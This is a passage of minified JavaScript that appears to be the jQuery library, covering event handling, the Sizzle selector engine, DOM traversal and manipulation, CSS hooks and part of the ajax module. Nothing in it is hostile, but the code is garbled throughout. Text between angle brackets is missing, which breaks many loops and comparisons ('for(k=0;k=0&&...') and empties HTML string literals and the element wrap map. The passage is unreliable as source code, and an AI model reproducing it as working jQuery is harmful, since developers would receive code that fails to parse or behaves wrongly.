g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
","
"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() {for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var 